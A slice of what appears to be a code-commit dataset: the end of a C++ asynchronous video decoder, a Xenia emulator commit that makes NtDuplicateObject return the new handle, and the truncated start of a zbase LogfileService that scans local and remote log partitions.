m_pVCmdQ->push(Command<VideoDecoderThread>(boost::bind(\n &VideoDecoderThread::stop, _1)));\n getNextBmps(false); \/\/ If the Queue is full, this breaks the lock in the thread.\n m_pVDecoderThread->join();\n delete m_pVDecoderThread;\n m_pVDecoderThread = 0;\n }\n {\n scoped_lock Lock1(m_AudioMutex);\n if (m_pADecoderThread) {\n m_pACmdQ->push(Command<AudioDecoderThread>(boost::bind(\n &AudioDecoderThread::stop, _1)));\n try {\n m_pAMsgQ->pop(false);\n m_pAMsgQ->pop(false);\n } catch(Exception&) {}\n m_pADecoderThread->join();\n delete m_pADecoderThread;\n m_pADecoderThread = 0;\n }\n m_pSyncDecoder->close();\n } \n}\n\nvoid AsyncVideoDecoder::seek(long long DestTime)\n{\n waitForSeekDone();\n scoped_lock Lock1(m_AudioMutex);\n scoped_lock Lock2(m_SeekMutex);\n m_bAudioEOF = false;\n m_bVideoEOF = false;\n m_bSeekPending = false;\n m_LastVideoFrameTime = -1000;\n m_bSeekPending = true;\n if (m_pVCmdQ) {\n m_pVCmdQ->push(Command<VideoDecoderThread>(boost::bind(\n &VideoDecoderThread::seek, _1, DestTime)));\n } else {\n m_pACmdQ->push(Command<AudioDecoderThread>(boost::bind(\n &AudioDecoderThread::seek, _1, DestTime)));\n }\n try {\n while (m_bSeekPending) {\n VideoMsgPtr pMsg;\n if (m_pVCmdQ) {\n pMsg = m_pVMsgQ->pop(false);\n } else {\n pMsg = m_pAMsgQ->pop(false);\n }\n SeekDoneVideoMsgPtr pSeekDoneMsg = dynamic_pointer_cast<SeekDoneVideoMsg>(pMsg);\n if (pSeekDoneMsg) {\n m_bSeekPending = false;\n m_LastVideoFrameTime = pSeekDoneMsg->getVideoFrameTime();\n m_LastAudioFrameTime = pSeekDoneMsg->getAudioFrameTime();\n }\n }\n } catch (Exception&) {\n }\n}\n\nStreamSelect AsyncVideoDecoder::getMasterStream()\n{\n if (m_bHasAudio) {\n return SS_AUDIO;\n } else {\n return SS_VIDEO;\n }\n}\n\nbool AsyncVideoDecoder::hasVideo()\n{\n return m_bHasVideo;\n}\n\nbool AsyncVideoDecoder::hasAudio()\n{\n return m_bHasAudio;\n}\n\nIntPoint AsyncVideoDecoder::getSize()\n{\n return m_Size;\n}\n\nint AsyncVideoDecoder::getCurFrame()\n{\n return int(getCurTime(SS_VIDEO)*m_StreamFPS\/1000.0+0.5);\n}\n\nint AsyncVideoDecoder::getNumFrames()\n{\n if (m_NumFrames == 0) {\n throw Exception(AVG_ERR_VIDEO_GENERAL, \"Error in AsyncVideoDecoder::getNumFrames: Video not loaded.\");\n }\n return m_NumFrames;\n}\n\nint AsyncVideoDecoder::getNumFramesQueued()\n{\n return m_pVMsgQ->size();\n}\n\nlong long AsyncVideoDecoder::getCurTime(StreamSelect Stream)\n{\n switch(Stream) {\n case SS_VIDEO:\n assert(m_bHasVideo);\n return m_LastVideoFrameTime;\n break;\n case SS_AUDIO:\n assert(m_bHasAudio);\n return m_LastAudioFrameTime;\n break;\n case SS_DEFAULT:\n return getCurTime(getMasterStream());\n break;\n default:\n assert(false);\n }\n return -1;\n}\n\nlong long AsyncVideoDecoder::getDuration()\n{\n return m_Duration;\n}\n\ndouble AsyncVideoDecoder::getNominalFPS()\n{\n return m_StreamFPS;\n}\n\ndouble AsyncVideoDecoder::getFPS()\n{\n assert(m_pVDecoderThread);\n return m_FPS;\n}\n\nvoid AsyncVideoDecoder::setFPS(double FPS)\n{\n assert(!m_pADecoderThread);\n m_pVCmdQ->push(Command<VideoDecoderThread>(boost::bind(\n &VideoDecoderThread::setFPS, _1, FPS)));\n if (FPS != 0) {\n m_FPS = FPS;\n }\n}\n\ndouble AsyncVideoDecoder::getVolume()\n{\n return m_Volume;\n}\n\nvoid AsyncVideoDecoder::setVolume(double Volume)\n{\n m_Volume = Volume;\n if (m_bHasAudio) {\n m_pACmdQ->push(Command<AudioDecoderThread>(boost::bind(\n &AudioDecoderThread::setVolume, _1, Volume)));\n }\n}\n\nPixelFormat AsyncVideoDecoder::getPixelFormat()\n{\n assert(m_pVDecoderThread);\n return m_PF;\n}\n\nFrameAvailableCode AsyncVideoDecoder::renderToBmp(BitmapPtr pBmp, long long TimeWanted)\n{\n FrameAvailableCode FrameAvailable;\n FrameVideoMsgPtr pFrameMsg = getBmpsForTime(TimeWanted, FrameAvailable);\n if (FrameAvailable == FA_NEW_FRAME) {\n pBmp->copyPixels(*(pFrameMsg->getBitmap(0)));\n }\n return FrameAvailable;\n}\n\nFrameAvailableCode AsyncVideoDecoder::renderToYCbCr420p(BitmapPtr pBmpY, BitmapPtr pBmpCb, \n BitmapPtr pBmpCr, long long TimeWanted)\n{\n FrameAvailableCode FrameAvailable;\n FrameVideoMsgPtr pFrameMsg = getBmpsForTime(TimeWanted, FrameAvailable);\n if (FrameAvailable == FA_NEW_FRAME) {\n pBmpY->copyPixels(*(pFrameMsg->getBitmap(0)));\n pBmpCb->copyPixels(*(pFrameMsg->getBitmap(1)));\n pBmpCr->copyPixels(*(pFrameMsg->getBitmap(2)));\n }\n return FrameAvailable;\n}\n\nbool AsyncVideoDecoder::isEOF(StreamSelect Stream)\n{\n switch(Stream) {\n case SS_AUDIO:\n return (!m_bHasAudio || m_bAudioEOF);\n case SS_VIDEO:\n return (!m_bHasVideo || m_bVideoEOF);\n case SS_ALL:\n return isEOF(SS_VIDEO) && isEOF(SS_AUDIO);\n default:\n return false;\n }\n}\n\nint AsyncVideoDecoder::fillAudioBuffer(AudioBufferPtr pBuffer)\n{\n assert (m_pADecoderThread);\n if (m_bAudioEOF) {\n return 0;\n }\n scoped_lock Lock(m_AudioMutex);\n waitForSeekDone();\n\n unsigned char* audioBuffer = (unsigned char *)(pBuffer->getData());\n int audioBufferSize = pBuffer->getNumBytes();\n\n int bufferLeftToFill = audioBufferSize;\n while (bufferLeftToFill > 0) {\n while (m_AudioMsgSize > 0 && bufferLeftToFill > 0) {\n int copyBytes = min(bufferLeftToFill, m_AudioMsgSize);\n memcpy(audioBuffer, m_AudioMsgData, copyBytes);\n m_AudioMsgSize -= copyBytes;\n m_AudioMsgData += copyBytes;\n bufferLeftToFill -= copyBytes;\n audioBuffer += copyBytes;\n\n m_LastAudioFrameTime += (long long)(1000.0 * copyBytes \/ \n (pBuffer->getFrameSize() * pBuffer->getRate()));\n }\n if (bufferLeftToFill != 0) {\n try {\n VideoMsgPtr pMsg = m_pAMsgQ->pop(false);\n\n EOFVideoMsgPtr pEOFMsg(dynamic_pointer_cast<EOFVideoMsg>(pMsg));\n if (pEOFMsg) {\n m_bAudioEOF = true;\n return pBuffer->getNumFrames()-bufferLeftToFill\/pBuffer->getFrameSize();\n }\n\n m_pAudioMsg = dynamic_pointer_cast<AudioVideoMsg>(pMsg);\n assert(m_pAudioMsg);\n\n m_AudioMsgSize = m_pAudioMsg->getBuffer()->getNumFrames()\n *pBuffer->getFrameSize();\n m_AudioMsgData = (unsigned char *)(m_pAudioMsg->getBuffer()->getData());\n m_LastAudioFrameTime = m_pAudioMsg->getTime();\n } catch (Exception &) {\n return pBuffer->getNumFrames()-bufferLeftToFill\/pBuffer->getFrameSize();\n }\n }\n }\n return pBuffer->getNumFrames();\n}\n \nFrameVideoMsgPtr AsyncVideoDecoder::getBmpsForTime(long long TimeWanted, \n FrameAvailableCode& FrameAvailable)\n{\n \/\/ XXX: This code is sort-of duplicated in FFMpegDecoder::readFrameForTime()\n long long FrameTime = -1000;\n FrameVideoMsgPtr pFrameMsg;\n if (TimeWanted == -1) {\n pFrameMsg = getNextBmps(true);\n FrameAvailable = FA_NEW_FRAME;\n } else {\n if (getMasterStream() == SS_AUDIO) {\n TimeWanted = m_LastAudioFrameTime;\n }\n\n\/\/ cerr << \"getBmpsForTime \" << TimeWanted << \", LastFrameTime= \" << m_LastVideoFrameTime \n\/\/ << \", diff= \" << TimeWanted-m_LastVideoFrameTime << endl;\n double TimePerFrame = 1000.0\/getFPS();\n if (fabs(double(TimeWanted-m_LastVideoFrameTime)) < 0.5*TimePerFrame || \n m_LastVideoFrameTime > TimeWanted+TimePerFrame) {\n\/\/ cerr << \" LastFrameTime = \" << m_LastVideoFrameTime << \", display again.\" << endl;\n \/\/ The last frame is still current. Display it again.\n FrameAvailable = FA_USE_LAST_FRAME;\n return FrameVideoMsgPtr();\n } else {\n if (m_bVideoEOF) {\n\/\/ cerr << \" EOF.\" << endl;\n FrameAvailable = FA_USE_LAST_FRAME;\n return FrameVideoMsgPtr();\n }\n while (FrameTime-TimeWanted < -0.5*TimePerFrame && !m_bVideoEOF) {\n pFrameMsg = getNextBmps(false);\n if (pFrameMsg) {\n FrameTime = pFrameMsg->getFrameTime();\n\/\/ cerr << \" readFrame returned time \" << FrameTime << \".\" << endl;\n } else {\n\/\/ cerr << \" no frame available.\" << endl;\n FrameAvailable = FA_STILL_DECODING;\n return FrameVideoMsgPtr();\n }\n }\n FrameAvailable = FA_NEW_FRAME;\n\/\/ cerr << \" frame ok.\" << endl;\n }\n }\n if (pFrameMsg) {\n m_LastVideoFrameTime = pFrameMsg->getFrameTime();\n }\n return pFrameMsg;\n}\n\nFrameVideoMsgPtr AsyncVideoDecoder::getNextBmps(bool bWait)\n{\n try {\n waitForSeekDone();\n VideoMsgPtr pMsg = m_pVMsgQ->pop(bWait);\n FrameVideoMsgPtr pFrameMsg = dynamic_pointer_cast<FrameVideoMsg>(pMsg);\n while (!pFrameMsg) {\n EOFVideoMsgPtr pEOFMsg(dynamic_pointer_cast<EOFVideoMsg>(pMsg));\n ErrorVideoMsgPtr pErrorMsg(dynamic_pointer_cast<ErrorVideoMsg>(pMsg));\n if (pEOFMsg) {\n m_bVideoEOF = true;\n return FrameVideoMsgPtr();\n } else if (pErrorMsg) {\n m_bVideoEOF = true;\n return FrameVideoMsgPtr();\n } else {\n \/\/ Unhandled message type.\n assert(false);\n }\n pMsg = m_pVMsgQ->pop(bWait);\n pFrameMsg = dynamic_pointer_cast<FrameVideoMsg>(pMsg);\n }\n return pFrameMsg;\n } catch (Exception&) {\n return FrameVideoMsgPtr();\n }\n}\n\nvoid AsyncVideoDecoder::waitForSeekDone()\n{\n scoped_lock Lock(m_SeekMutex);\n if (m_bSeekPending) {\n do {\n VideoMsgPtr pMsg;\n if (m_pVCmdQ) {\n pMsg = m_pVMsgQ->pop(true);\n } else {\n pMsg = m_pAMsgQ->pop(true);\n }\n SeekDoneVideoMsgPtr pSeekDoneMsg = dynamic_pointer_cast<SeekDoneVideoMsg>(pMsg);\n if (pSeekDoneMsg) {\n m_bSeekPending = false;\n m_LastVideoFrameTime = pSeekDoneMsg->getVideoFrameTime();\n m_LastAudioFrameTime = pSeekDoneMsg->getAudioFrameTime();\n }\n\n } while (m_bSeekPending);\n }\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n ******************************************************************************\n * Xenia : Xbox 360 Emulator Research Project *\n ******************************************************************************\n * Copyright 2013 Ben Vanik. All rights reserved. *\n * Released under the BSD license - see LICENSE in the root for more details. *\n ******************************************************************************\n *\/\n\n#include \"xenia\/base\/logging.h\"\n#include \"xenia\/kernel\/kernel_state.h\"\n#include \"xenia\/kernel\/objects\/xthread.h\"\n#include \"xenia\/kernel\/util\/shim_utils.h\"\n#include \"xenia\/kernel\/xboxkrnl_private.h\"\n#include \"xenia\/kernel\/xobject.h\"\n#include \"xenia\/xbox.h\"\n\nnamespace xe {\nnamespace kernel {\n\nSHIM_CALL ObOpenObjectByName_shim(PPCContext* ppc_context,\n KernelState* kernel_state) {\n \/\/ r3 = ptr to info?\n \/\/ +0 = -4\n \/\/ +4 = name ptr\n \/\/ +8 = 0\n \/\/ r4 = ExEventObjectType | ExSemaphoreObjectType | ExTimerObjectType\n \/\/ r5 = 0\n \/\/ r6 = out_ptr (handle?)\n uint32_t obj_attributes_ptr = SHIM_GET_ARG_32(0);\n uint32_t object_type_ptr = SHIM_GET_ARG_32(1);\n uint32_t unk = SHIM_GET_ARG_32(2);\n uint32_t handle_ptr = SHIM_GET_ARG_32(3);\n\n uint32_t name_str_ptr = SHIM_MEM_32(obj_attributes_ptr + 4);\n X_ANSI_STRING name_str(SHIM_MEM_BASE, name_str_ptr);\n auto name = name_str.to_string();\n\n XELOGD(\"ObOpenObjectByName(%.8X(name=%s), %.8X, %.8X, %.8X)\",\n obj_attributes_ptr, name.c_str(), object_type_ptr, unk, handle_ptr);\n\n X_HANDLE handle = X_INVALID_HANDLE_VALUE;\n X_STATUS result =\n kernel_state->object_table()->GetObjectByName(name, &handle);\n if (XSUCCEEDED(result)) {\n SHIM_SET_MEM_32(handle_ptr, handle);\n }\n\n SHIM_SET_RETURN_32(result);\n}\n\nSHIM_CALL ObReferenceObjectByHandle_shim(PPCContext* ppc_context,\n KernelState* kernel_state) {\n uint32_t handle = SHIM_GET_ARG_32(0);\n uint32_t object_type_ptr = SHIM_GET_ARG_32(1);\n uint32_t out_object_ptr = SHIM_GET_ARG_32(2);\n\n XELOGD(\"ObReferenceObjectByHandle(%.8X, %.8X, %.8X)\", handle, object_type_ptr,\n out_object_ptr);\n\n X_STATUS result = X_STATUS_SUCCESS;\n\n auto object = kernel_state->object_table()->LookupObject<XObject>(handle);\n if (object) {\n \/\/ TODO(benvanik): verify type with object_type_ptr\n\n \/\/ TODO(benvanik): get native value, if supported.\n uint32_t native_ptr;\n switch (object_type_ptr) {\n case 0x00000000: { \/\/ whatever?\n switch (object->type()) {\n \/\/ TODO(benvanik): need to track native_ptr in XObject, allocate as\n \/\/ needed?\n \/*case XObject::kTypeEvent: {\n XEvent* ev = (XEvent*)object;\n } break;*\/\n case XObject::kTypeThread: {\n auto thread = object.get<XThread>();\n native_ptr = thread->thread_state_ptr();\n } break;\n default: {\n assert_unhandled_case(object->type());\n native_ptr = 0xDEADF00D;\n } break;\n }\n } break;\n case 0xD017BEEF: { \/\/ ExSemaphoreObjectType\n \/\/ TODO(benvanik): implement.\n assert_unhandled_case(object_type_ptr);\n native_ptr = 0xDEADF00D;\n } break;\n case 0xD01BBEEF: { \/\/ ExThreadObjectType\n auto thread = object.get<XThread>();\n native_ptr = thread->thread_state_ptr();\n } break;\n default: {\n assert_unhandled_case(object_type_ptr);\n native_ptr = 0xDEADF00D;\n } break;\n }\n\n \/\/ Caller takes the reference.\n \/\/ It's released in ObDereferenceObject.\n object->Retain();\n if (out_object_ptr) {\n SHIM_SET_MEM_32(out_object_ptr, native_ptr);\n }\n } else {\n result = X_STATUS_INVALID_HANDLE;\n }\n\n SHIM_SET_RETURN_32(result);\n}\n\nSHIM_CALL ObDereferenceObject_shim(PPCContext* ppc_context,\n KernelState* kernel_state) {\n uint32_t native_ptr = SHIM_GET_ARG_32(0);\n\n XELOGD(\"ObDereferenceObject(%.8X)\", native_ptr);\n\n \/\/ Check if a dummy value from ObReferenceObjectByHandle.\n if (native_ptr == 0xDEADF00D) {\n SHIM_SET_RETURN_32(0);\n return;\n }\n\n void* object_ptr = SHIM_MEM_ADDR(native_ptr);\n auto object = XObject::GetNativeObject<XObject>(kernel_state, object_ptr);\n if (object) {\n object->Release();\n }\n\n SHIM_SET_RETURN_32(0);\n}\n\ndword_result_t NtDuplicateObject(dword_t handle, lpdword_t new_handle_ptr,\n dword_t options) {\n \/\/ NOTE: new_handle_ptr can be zero to just close a handle.\n \/\/ NOTE: this function seems to be used to get the current thread handle\n \/\/ (passed handle=-2).\n \/\/ This function actually just creates a new handle to the same object.\n \/\/ Most games use it to get real handles to the current thread or whatever.\n\n X_HANDLE new_handle = X_INVALID_HANDLE_VALUE;\n X_STATUS result =\n kernel_state()->object_table()->DuplicateHandle(handle, &new_handle);\n\n if (options == 1 \/* DUPLICATE_CLOSE_SOURCE *\/) {\n \/\/ Always close the source object.\n kernel_state()->object_table()->RemoveHandle(handle);\n }\n\n return result;\n}\nDECLARE_XBOXKRNL_EXPORT(NtDuplicateObject, ExportTag::kImplemented);\n\ndword_result_t NtClose(dword_t handle) {\n return kernel_state()->object_table()->RemoveHandle(handle);\n}\nDECLARE_XBOXKRNL_EXPORT(NtClose, ExportTag::kImplemented);\n\n} \/\/ namespace kernel\n} \/\/ namespace xe\n\nvoid xe::kernel::xboxkrnl::RegisterObExports(\n xe::cpu::ExportResolver* export_resolver, KernelState* kernel_state) {\n SHIM_SET_MAPPING(\"xboxkrnl.exe\", ObOpenObjectByName, state);\n SHIM_SET_MAPPING(\"xboxkrnl.exe\", ObReferenceObjectByHandle, state);\n SHIM_SET_MAPPING(\"xboxkrnl.exe\", ObDereferenceObject, state);\n}\n<commit_msg>Actually give the game the new handle<commit_after>\/**\n ******************************************************************************\n * Xenia : Xbox 360 Emulator Research Project *\n ******************************************************************************\n * Copyright 2013 Ben Vanik. All rights reserved. *\n * Released under the BSD license - see LICENSE in the root for more details. *\n ******************************************************************************\n *\/\n\n#include \"xenia\/base\/logging.h\"\n#include \"xenia\/kernel\/kernel_state.h\"\n#include \"xenia\/kernel\/objects\/xthread.h\"\n#include \"xenia\/kernel\/util\/shim_utils.h\"\n#include \"xenia\/kernel\/xboxkrnl_private.h\"\n#include \"xenia\/kernel\/xobject.h\"\n#include \"xenia\/xbox.h\"\n\nnamespace xe {\nnamespace kernel {\n\nSHIM_CALL ObOpenObjectByName_shim(PPCContext* ppc_context,\n KernelState* kernel_state) {\n \/\/ r3 = ptr to info?\n \/\/ +0 = -4\n \/\/ +4 = name ptr\n \/\/ +8 = 0\n \/\/ r4 = ExEventObjectType | ExSemaphoreObjectType | ExTimerObjectType\n \/\/ r5 = 0\n \/\/ r6 = out_ptr (handle?)\n uint32_t obj_attributes_ptr = SHIM_GET_ARG_32(0);\n uint32_t object_type_ptr = SHIM_GET_ARG_32(1);\n uint32_t unk = SHIM_GET_ARG_32(2);\n uint32_t handle_ptr = SHIM_GET_ARG_32(3);\n\n uint32_t name_str_ptr = SHIM_MEM_32(obj_attributes_ptr + 4);\n X_ANSI_STRING name_str(SHIM_MEM_BASE, name_str_ptr);\n auto name = name_str.to_string();\n\n XELOGD(\"ObOpenObjectByName(%.8X(name=%s), %.8X, %.8X, %.8X)\",\n obj_attributes_ptr, name.c_str(), object_type_ptr, unk, handle_ptr);\n\n X_HANDLE handle = X_INVALID_HANDLE_VALUE;\n X_STATUS result =\n kernel_state->object_table()->GetObjectByName(name, &handle);\n if (XSUCCEEDED(result)) {\n SHIM_SET_MEM_32(handle_ptr, handle);\n }\n\n SHIM_SET_RETURN_32(result);\n}\n\nSHIM_CALL ObReferenceObjectByHandle_shim(PPCContext* ppc_context,\n KernelState* kernel_state) {\n uint32_t handle = SHIM_GET_ARG_32(0);\n uint32_t object_type_ptr = SHIM_GET_ARG_32(1);\n uint32_t out_object_ptr = SHIM_GET_ARG_32(2);\n\n XELOGD(\"ObReferenceObjectByHandle(%.8X, %.8X, %.8X)\", handle, object_type_ptr,\n out_object_ptr);\n\n X_STATUS result = X_STATUS_SUCCESS;\n\n auto object = kernel_state->object_table()->LookupObject<XObject>(handle);\n if (object) {\n \/\/ TODO(benvanik): verify type with object_type_ptr\n\n \/\/ TODO(benvanik): get native value, if supported.\n uint32_t native_ptr;\n switch (object_type_ptr) {\n case 0x00000000: { \/\/ whatever?\n switch (object->type()) {\n \/\/ TODO(benvanik): need to track native_ptr in XObject, allocate as\n \/\/ needed?\n \/*case XObject::kTypeEvent: {\n XEvent* ev = (XEvent*)object;\n } break;*\/\n case XObject::kTypeThread: {\n auto thread = object.get<XThread>();\n native_ptr = thread->thread_state_ptr();\n } break;\n default: {\n assert_unhandled_case(object->type());\n native_ptr = 0xDEADF00D;\n } break;\n }\n } break;\n case 0xD017BEEF: { \/\/ ExSemaphoreObjectType\n \/\/ TODO(benvanik): implement.\n assert_unhandled_case(object_type_ptr);\n native_ptr = 0xDEADF00D;\n } break;\n case 0xD01BBEEF: { \/\/ ExThreadObjectType\n auto thread = object.get<XThread>();\n native_ptr = thread->thread_state_ptr();\n } break;\n default: {\n assert_unhandled_case(object_type_ptr);\n native_ptr = 0xDEADF00D;\n } break;\n }\n\n \/\/ Caller takes the reference.\n \/\/ It's released in ObDereferenceObject.\n object->Retain();\n if (out_object_ptr) {\n SHIM_SET_MEM_32(out_object_ptr, native_ptr);\n }\n } else {\n result = X_STATUS_INVALID_HANDLE;\n }\n\n SHIM_SET_RETURN_32(result);\n}\n\nSHIM_CALL ObDereferenceObject_shim(PPCContext* ppc_context,\n KernelState* kernel_state) {\n uint32_t native_ptr = SHIM_GET_ARG_32(0);\n\n XELOGD(\"ObDereferenceObject(%.8X)\", native_ptr);\n\n \/\/ Check if a dummy value from ObReferenceObjectByHandle.\n if (native_ptr == 0xDEADF00D) {\n SHIM_SET_RETURN_32(0);\n return;\n }\n\n void* object_ptr = SHIM_MEM_ADDR(native_ptr);\n auto object = XObject::GetNativeObject<XObject>(kernel_state, object_ptr);\n if (object) {\n object->Release();\n }\n\n SHIM_SET_RETURN_32(0);\n}\n\ndword_result_t NtDuplicateObject(dword_t handle, lpdword_t new_handle_ptr,\n dword_t options) {\n \/\/ NOTE: new_handle_ptr can be zero to just close a handle.\n \/\/ NOTE: this function seems to be used to get the current thread handle\n \/\/ (passed handle=-2).\n \/\/ This function actually just creates a new handle to the same object.\n \/\/ Most games use it to get real handles to the current thread or whatever.\n\n X_HANDLE new_handle = X_INVALID_HANDLE_VALUE;\n X_STATUS result =\n kernel_state()->object_table()->DuplicateHandle(handle, &new_handle);\n\n if (new_handle_ptr) {\n *new_handle_ptr = new_handle;\n }\n\n if (options == 1 \/* DUPLICATE_CLOSE_SOURCE *\/) {\n \/\/ Always close the source object.\n kernel_state()->object_table()->RemoveHandle(handle);\n }\n\n return result;\n}\nDECLARE_XBOXKRNL_EXPORT(NtDuplicateObject, ExportTag::kImplemented);\n\ndword_result_t NtClose(dword_t handle) {\n return kernel_state()->object_table()->RemoveHandle(handle);\n}\nDECLARE_XBOXKRNL_EXPORT(NtClose, ExportTag::kImplemented);\n\n} \/\/ namespace kernel\n} \/\/ namespace xe\n\nvoid xe::kernel::xboxkrnl::RegisterObExports(\n xe::cpu::ExportResolver* export_resolver, KernelState* kernel_state) {\n SHIM_SET_MAPPING(\"xboxkrnl.exe\", ObOpenObjectByName, state);\n SHIM_SET_MAPPING(\"xboxkrnl.exe\", ObReferenceObjectByHandle, state);\n SHIM_SET_MAPPING(\"xboxkrnl.exe\", ObDereferenceObject, state);\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>\n * All Rights Reserved.\n *\n * This file is CONFIDENTIAL -- Distribution or duplication of this material or\n * the information contained herein is strictly forbidden unless prior written\n * permission is obtained.\n *\/\n#include <unistd.h>\n#include \"zbase\/api\/LogfileService.h\"\n#include \"stx\/RegExp.h\"\n#include \"stx\/human.h\"\n#include \"stx\/protobuf\/msg.h\"\n#include \"stx\/protobuf\/MessageSchema.h\"\n#include \"stx\/protobuf\/MessagePrinter.h\"\n#include \"stx\/protobuf\/MessageEncoder.h\"\n#include \"stx\/protobuf\/DynamicMessage.h\"\n#include \"csql\/qtree\/SelectListNode.h\"\n#include \"csql\/qtree\/ColumnReferenceNode.h\"\n#include \"csql\/CSTableScan.h\"\n#include \"zbase\/core\/TimeWindowPartitioner.h\"\n\nusing namespace stx;\n\nnamespace zbase {\n\nLogfileService::LogfileService(\n ConfigDirectory* cdir,\n AnalyticsAuth* auth,\n zbase::TSDBService* tsdb,\n zbase::PartitionMap* pmap,\n zbase::ReplicationScheme* repl,\n csql::Runtime* sql) :\n cdir_(cdir),\n auth_(auth),\n tsdb_(tsdb),\n pmap_(pmap),\n repl_(repl),\n sql_(sql) {}\n\nvoid LogfileService::scanLogfile(\n const AnalyticsSession& session,\n const String& logfile_name,\n const LogfileScanParams& params,\n LogfileScanResult* result,\n Function<void (bool done)> on_progress) {\n auto logfile_definition = findLogfileDefinition(\n session.customer(), logfile_name);\n if (logfile_definition.isEmpty()) {\n RAISEF(kNotFoundError, \"logfile not found: $0\", logfile_name);\n }\n\n auto table_name = \"logs.\" + logfile_name;\n auto lookback_limit = params.end_time() - 1 * kMicrosPerDay;\n auto partition_size = 10 * kMicrosPerMinute;\n\n result->setColumns(\n Vector<String>(params.columns().begin(), params.columns().end()));\n\n\n iputs(\"end time: $0\", UnixTime(params.end_time()));\n\n for (auto time = params.end_time();\n time > lookback_limit;\n time -= partition_size) {\n\n auto partition = zbase::TimeWindowPartitioner::partitionKeyFor(\n table_name,\n time,\n partition_size);\n\n iputs(\"scan time: $0 -> $1\", UnixTime(time), partition.toString());\n\n if (repl_->hasLocalReplica(partition)) {\n scanLocalLogfilePartition(\n session,\n table_name,\n partition,\n params,\n result);\n } else {\n scanRemoteLogfilePartition(\n session,\n table_name,\n partition,\n params,\n repl_->replicaAddrsFor(partition),\n result);\n }\n\n result->setScannedUntil(time);\n\n bool done = result->isFull();\n on_progress(done);\n\n if (done) {\n break;\n }\n }\n}\n\nvoid LogfileService::scanLocalLogfilePartition(\n const AnalyticsSession& session,\n const String& table_name,\n const SHA1Hash& partition_key,\n const LogfileScanParams& params,\n LogfileScanResult* result) {\n auto partition = pmap_->findPartition(\n session.customer(),\n table_name,\n partition_key);\n\n if (partition.isEmpty()) {\n return;\n }\n\n logDebug(\n \"zbase\",\n \"Scanning local logfile partition $0\/$1\/$2\",\n session.customer(),\n table_name,\n partition_key.toString());\n\n Vector<RefPtr<csql::SelectListNode>> select_list;\n select_list.emplace_back(\n new csql::SelectListNode(\n new csql::ColumnReferenceNode(\"time\")));\n\n if (params.return_raw()) {\n select_list.emplace_back(\n new csql::SelectListNode(\n new csql::ColumnReferenceNode(\"raw\")));\n }\n\n for (const auto& c : params.columns()) {\n select_list.emplace_back(\n new csql::SelectListNode(\n new csql::ColumnReferenceNode(c)));\n }\n\n Option<RefPtr<csql::ValueExpressionNode>> where_cond;\n switch (params.scan_type()) {\n\n case LOGSCAN_SQL: {\n const auto& sql_str = params.condition();\n\n csql::Parser parser;\n parser.parseValueExpression(sql_str.data(), sql_str.size());\n\n auto stmts = parser.getStatements();\n if (stmts.size() != 1) {\n RAISE(\n kParseError,\n \"SQL filter expression must consist of exactly one statement\");\n }\n\n where_cond = Some(\n mkRef(sql_->queryPlanBuilder()->buildValueExpression(stmts[0])));\n\n break;\n }\n\n }\n\n auto seqscan = mkRef(\n new csql::SequentialScanNode(\n table_name,\n select_list,\n where_cond));\n\n auto reader = partition.get()->getReader();\n auto cstable_filename = reader->cstableFilename();\n if (cstable_filename.isEmpty()) {\n return;\n }\n\n csql::CSTableScan cstable_scan(\n seqscan,\n cstable_filename.get(),\n sql_->queryBuilder().get());\n\n csql::ExecutionContext context(sql_->scheduler());\n\n cstable_scan.execute(\n &context,\n [result, ¶ms] (int argc, const csql::SValue* argv) -> bool {\n int colidx = 0;\n\n auto time = UnixTime(argv[colidx++].getInteger());\n if (time >= params.end_time()) {\n return true;\n }\n\n auto line = result->addLine(time);\n if (!line) {\n return true;\n }\n\n if (params.return_raw()) {\n line->raw = argv[colidx++].toString();\n }\n\n for (; colidx < argc; ++colidx) {\n line->columns.emplace_back(argv[colidx].toString());\n }\n\n return true;\n });\n\n result->incrRowsScanned(cstable_scan.rowsScanned());\n}\n\nvoid LogfileService::scanRemoteLogfilePartition(\n const AnalyticsSession& session,\n const String& table_name,\n const SHA1Hash& partition_key,\n const LogfileScanParams& params,\n const Vector<InetAddr>& hosts,\n LogfileScanResult* result) {\n Vector<String> errors;\n\n for (const auto& host : hosts) {\n try {\n if(scanRemoteLogfilePartition(\n session,\n table_name,\n partition_key,\n params,\n host,\n result)) {\n return;\n }\n } catch (const StandardException& e) {\n logError(\n \"zbase\",\n e,\n \"LogfileService::scanRemoteLogfilePartition failed\");\n\n errors.emplace_back(e.what());\n }\n }\n\n if (!errors.empty()) {\n RAISEF(\n kRuntimeError,\n \"LogfileService::scanRemoteLogfilePartition failed: $0\",\n StringUtil::join(errors, \", \"));\n }\n}\n\nbool LogfileService::scanRemoteLogfilePartition(\n const AnalyticsSession& session,\n const String& table_name,\n const SHA1Hash& partition_key,\n const LogfileScanParams& params,\n const InetAddr& host,\n LogfileScanResult* result) {\n logDebug(\n \"zbase\",\n \"Scanning remote logfile partition $0\/$1\/$2 on $3\",\n session.customer(),\n table_name,\n partition_key.toString(),\n host.hostAndPort());\n\n auto url = StringUtil::format(\n \"http:\/\/$0\/api\/v1\/logfiles\/scan_partition?table=$1&partition=$2&limit=$3\",\n host.hostAndPort(),\n URI::urlEncode(table_name),\n partition_key.toString(),\n result->capacity());\n\n auto api_token = auth_->encodeAuthToken(session);\n\n http::HTTPMessage::HeaderList auth_headers;\n auth_headers.emplace_back(\n \"Authorization\",\n StringUtil::format(\"Token $0\", api_token));\n\n http::HTTPClient http_client;\n auto req_body = msg::encode(params);\n auto req = http::HTTPRequest::mkPost(url, *req_body, auth_headers);\n auto res = http_client.executeRequest(req);\n\n if (res.statusCode() == 404) {\n iputs(\"got 404..\", 1);\n return false;\n }\n\n if (res.statusCode() != 200) {\n RAISEF(\n kRuntimeError,\n \"received non-200 response: $0\", res.body().toString());\n }\n\n iputs(\"got $0 bytes\", res.body().size());\n auto body_is = BufferInputStream::fromBuffer(&res.body());\n result->decode(body_is.get());\n\n return true;\n}\n\nvoid LogfileService::insertLoglines(\n const String& customer,\n const String& logfile_name,\n const Vector<Pair<String, String>>& source_fields,\n InputStream* is) {\n auto logfile_definition = findLogfileDefinition(customer, logfile_name);\n if (logfile_definition.isEmpty()) {\n RAISEF(kNotFoundError, \"logfile not found: $0\", logfile_name);\n }\n\n insertLoglines(\n customer,\n logfile_definition.get(),\n source_fields,\n is);\n}\n\nvoid LogfileService::insertLoglines(\n const String& customer,\n const LogfileDefinition& logfile,\n const 